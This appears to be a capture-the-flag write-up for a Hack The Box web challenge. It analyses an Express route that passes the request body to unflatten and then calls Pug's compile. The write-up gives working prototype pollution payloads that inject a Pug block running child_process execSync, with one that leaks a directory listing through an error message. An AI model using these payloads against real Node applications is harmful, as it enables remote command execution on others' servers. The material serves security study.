It is quite a simple web challenge from Hack The Box, it requires you to analysis the source code of the challenges. Let’s start
Source code Analysis
It is very direct that the block of vulnerable code is sitting inside file routes/index.js
(because other file don’t do any function). In this file, we 2 main route is /
and /api/submit
. Route /
just render the index page and we can’t inject any thing here. However, with /api/submit
things started to be juicy here
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
From here we know that it is using template engine Pug
and our first thought is SSTI
to inject some malicious payload to the template to render. Once again, this is quite impossiple because it does not take our input to place directly inside the tempalte. But we can see quite interesting thing here
const { artist } = unflatten(req.body);
We can see our request is parse directly inside unflatten
to be flatten
in to Object and this look so wrong here. Because it may allow us to pass our malicious object here, this is called prototype pollution
.
Exploit
At first, I think we can overrid the function includes
of artist.name
by using this payload in the request body
{
"artist.name.__proto__.includes": () => {return true}; ,
}
However, we recieve the error for JSON.parse because our payload isn’t in correct json form. So I try to google about this vulerables in Pug.js and I found article. The article explain very clear how we levearge from Prototype Pollution
to exploit the function pug.compile
. So I use this payload for exploit
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`sleep 5`)"
}
}
We need to keep "artist.name":"Haigh"
in order to pass the if condition to go pub.compile
. Then I notice the one make the server reponse after 5s so this means our command run. But now how can we extract the data, we make reuest to our server and put data in the request. However, there is a simple one that we cause the error with our data inside it like this payload
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`echo aa >> /aaa/$(ls /)`)"
}
}
I try to create a file with name is our reponse in a nonexisting directory. This we make the an error and the server will reponse like this
We are success to get data. Now you can go the folder /app
to get the flag.
The end